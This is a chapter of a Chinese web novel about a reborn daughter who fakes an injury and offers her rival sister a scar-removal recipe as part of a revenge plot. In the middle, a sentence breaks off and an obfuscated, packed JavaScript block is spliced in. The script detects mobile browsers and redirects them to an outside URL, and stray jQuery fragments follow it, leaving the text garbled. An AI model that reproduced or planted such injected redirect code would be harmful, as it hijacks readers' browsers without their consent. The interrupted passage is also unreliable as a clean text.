第57章 贵人来

作品:《为占有我夫君,嫡姐亲手活埋了我

    “走吧,咱们回了。”


    谢晚棠说完,就先往桐花台的方向走了。


    她脚步不算快,两个小丫鬟在后跟着,雪后地上湿滑,临近桐花台的时候,谢晚棠寻了一处有雪的地方,脚下稍稍一歪,就倒在了地上。


    “啊!”


    惊呼了一声,谢晚棠痛苦的蹙眉。


    两个小丫鬟吓了一跳,急匆匆的过来搀扶她。


    “二小姐,你怎么样?”


    “脚……脚踝疼。”


    小丫鬟知琴瞧着,忙过去查看。


    她一碰,谢晚棠便痛的缩了缩脚,连带着脸上的表情,也更痛苦了。


    知琴凝眉,“怕是伤到筋骨了,二小姐,奴婢和知棋先扶你回桐花台,然后就去请府医,来为二小姐诊治。”


    “别,别去。”


    “可是二小姐这情况,怕是伤的不轻。”


    “那也不能去。”


    红着眼睛,对上知琴、知棋的眸子,谢晚棠的眼泪几乎要掉下来。


    她匆忙摇头,“刚刚管家才说,姐姐不日就要入齐王府了,这是大喜事,我因为这点小伤请府医,兴师动众,难免让他们觉得晦气。”


    知琴昨日就听说了,谢晚棠之所以被关在小破院里,就是因为她生来就被断言为灾星,有“灾星”之名。


    眼下她有所顾忌,也是情理之中的事。


    “可小姐这伤……”


    “你帮我去最近的医馆,弄点跌打损伤的药膏来,对付对付就成。”


    “这……”


    知琴有些犹豫。


    她和知棋来时,曾得了吩咐,要盯住谢晚棠,没事不得离开她半步,更不得出去。


    这才第一日,就要出门,怕是不妥。


    知琴担心。


    将知琴的为难看在眼里,谢晚棠垂眸,轻轻的叹了口气。


    “你既然怕,那就去请示一下吧,别管是去我爹那,还是去管家那,都随你,只记得要低调些,快去快回就好,我不想因为这点小事,再节外生枝,给大家添麻烦,让大家不喜。”


    话音落下,谢晚棠任由知棋扶着自己,挣扎着起来。


    她踉跄着回桐花台。


    知琴看着谢晚棠的背影,眉头紧锁。


    半晌,她才转身又奔着主院的方向,去找管家去了。


    桐花台。


    回来后,谢晚棠就落脱了鞋子,坐在临窗的罗汉榻上,拿着针线绣帕子。一针一针的,她绣的很慢,极其用心。


    知琴很久没回来,谢晚棠就知道,知琴必定是按照她说的,出去弄药膏了。


    昨日,沈嬷嬷安排的小伙计来送药,她已经打点好了。


    知琴出去买药膏,本身就是信号。


    剩下的——


    她只管等着就好。


    最迟两日后,就该有消息了!


    谢晚棠想着,唇角微微弯了弯,她抬眸看向一旁的知棋,轻声询问,“来时听你说,你擅长女红?”


    “奴婢曾在绣坊里待过一阵子,不敢说多擅长,只是会一些。”


    “跟我就就不必谦虚了。”


    伸手把手上的帕子,往知棋面前递了递,谢晚棠浅笑。


    “快,帮我瞧瞧,这柳叶该怎么绣才好?”


    上辈子,她给慕枭做袍子,慕枭说她的柳叶,绣的比兵营里糙汉子的粗手指,还要难看几分。


    她说要练的。


    可惜,还没练好,她人就没了。


    这辈子才刚刚开始,还有时间,她总得努努力,好好学学了。


    柳便是留!


    这辈子,她可得将慕枭好好留住!


    ……


    两日后。


    谢晚棠估摸着时间差不多了,就让知琴、知棋准备了两样糕点,带着她们去了宁和园。


    现在的宁和园,跟上辈子无甚差别。


    连那棵红梅树都妍媚如初。


    路过红梅树时,谢晚棠本能的顿住脚步,被活埋在红梅树下,被困在红梅树下的日子,不断的在她脑海里疯狂乱窜。


    这树……


    该砍了的!


    心里想着,半晌,谢晚棠才收回思绪。


    彼时,知鸢已经接到小厮通禀,在屋门口候着了。


    谢晚棠走过去,知鸢微微福身行礼,“见过二小姐,我家小姐正在休息,二小姐还是先请回吧。”


    知道知鸢在说谎,谢晚棠也不恼,她点头,轻声询问。


    “姐姐的伤如何了?”


    知鸢抿了抿唇。


    谢婉宁伤在脸上,情况严重,哪怕请了太医过来,依旧不容乐观。


    再加上齐王府那头传了信过来,让谢婉宁半月**府,谢婉宁又安排人去打探,确认慕枭伤在腿上,再无站起来的可能,她更烦躁。


    这两日,谢婉宁没少砸东西。


    宁和园里的摆件、用具,都已经换过几次了。


    可这话知鸢不能说。


    和知鸢相处过三年,谢晚棠也算了解她,一看她那样,谢晚棠就知道,谢婉宁的情况必定不好。


    不好——


    那她就放心了!


    毕竟,那可是她一手策划的,若是谢婉宁好,她岂不是白忙了?


    谢晚棠在心里这么想着,面上却不动声色。


    “姐姐的情况不好吗?”


    “这……”


    “你不必瞒我,我没有坏心的,我是关心姐姐,虽然在小院里,我们生出了许多误会,但到底是亲姐妹,是骨肉血亲,我不会害她的。更何况,我在侯府的处境,你们都清楚,我帮姐姐,其实也是在帮我自己。”


    不等知鸢开口,谢晚棠就先出了声。


    她随即又解释。


    “早些年的时候,我年纪小调皮,在小院里爬树摔了跟头,腿上划了很大的口子,留了不小的疤。前两年,沈嬷嬷得了个药方子,帮我把疤去了,我寻思着若是姐姐需要,我可以把方子告知姐姐,也算多条路子。”


    知鸢并不知道谢晚棠说的是真是假,她思量着回屋,去跟谢婉宁说说。


    若谢婉宁真能好起来,他们这些做下人的,也能少遭些罪。


    “二小姐稍候。”


    留了句话,知鸢转身要回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15738827|174111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屋。


    只是,她才转身,就见谢婉宁火急火燎的从屋里冲出来,她一双眸子,死死的盯着谢晚棠。


    眸光凌厉,又闪着精光。


    “你说的是真的?真有祛疤的药方子?真那么管用?”


    谢晚棠侧头,看了看谢婉宁的脸。


    伤口处红肿的厉害。


    皮肉外翻,像是一条扭曲的虫子,横趴在谢婉宁的脸上,丑陋又狰狞。


    谢晚棠并不知道,宫中的太医,是否能有神医妙手,将这样的伤疤治好,不留痕迹。


    但她知道,她绝不会让人有治好谢婉宁的机会。


    谢晚棠缓缓对上谢婉宁的眸子。


    “姐姐,我说的是真的,我的确用那药方子除过疤,也的确有用。不过,人和人的伤或有差异,姐姐拿了药方子,先请府医或者太医帮忙瞧瞧,斟酌斟酌,或许更好。”


    “那还用你说。”


    谢婉宁没好气的怼了一声。


    她本就信不过谢晚棠这个灾星,拿了方子,找人查看,那是必然的。


    “少说那些没用的,赶紧进来,把方子写给我。”


    “好。”


    谢晚棠丝毫不计较谢婉宁恶劣的语气。


    她从善如流,即刻进屋。


    谢婉宁让人准备笔墨,谢晚棠落座,笔走龙蛇,不过须臾就将方子写好了,她特意用了最丑的字,藏了两分。


    谢婉宁瞧了一眼,嫌弃的不行。


    “真丑。”


    谢晚棠笑笑。


    “让姐姐见笑了,我这字,自是不能与姐姐相比的。其实也不只是字,就是这命,我也是不能跟姐姐比的。姐姐能进王府,哪怕齐王受伤损了身子,可他到底还是王爷,姐姐过府,日子差不了。那样的门第,我只有羡慕的份儿,是想也不敢想的。”


    谢婉宁蹙眉,“爹不是要将你说给景王?”


    “怎么会呢?”


    谢晚棠垂眸,摇了摇头。


    “大师断言我是个灾星,爹心存忌讳,他不杀了我,已经是念及父女情分了,又怎么会把我送入王府?我只求着过些日子,爹能为我寻一个靠谱的人家,不论是庄家农户,还是贩夫走卒,只要别嫌弃我,就是极好的了。”


    听着这话,谢婉宁的眉头蹙了蹙。


    庄家农户?


    贩夫走卒?


    想到谢晚棠会委身于那种人,谢婉宁心里倒是舒坦了不少,连带着对她的敌意,都散去了些。


    她,总归是比谢晚棠强的。


    只是可惜慕枭伤了腿,成了残废,要不然,她的日子必然更好。


    慕枭逼的太紧了。


    再多些时日,她能有更好的选择的!


    谢婉宁在心里琢磨着,这时候,就见小丫鬟带着一个门房的小厮过来,到她身边。


    “小姐,门外有贵人送了一个匣子来,让奴才务必亲手交给小姐。”


    “贵人?谁啊?”


    谢婉宁不知,可谢晚棠却清清楚楚。


    人……终于来了!


    也不枉她忍着恶心,说了那么一堆违心的话!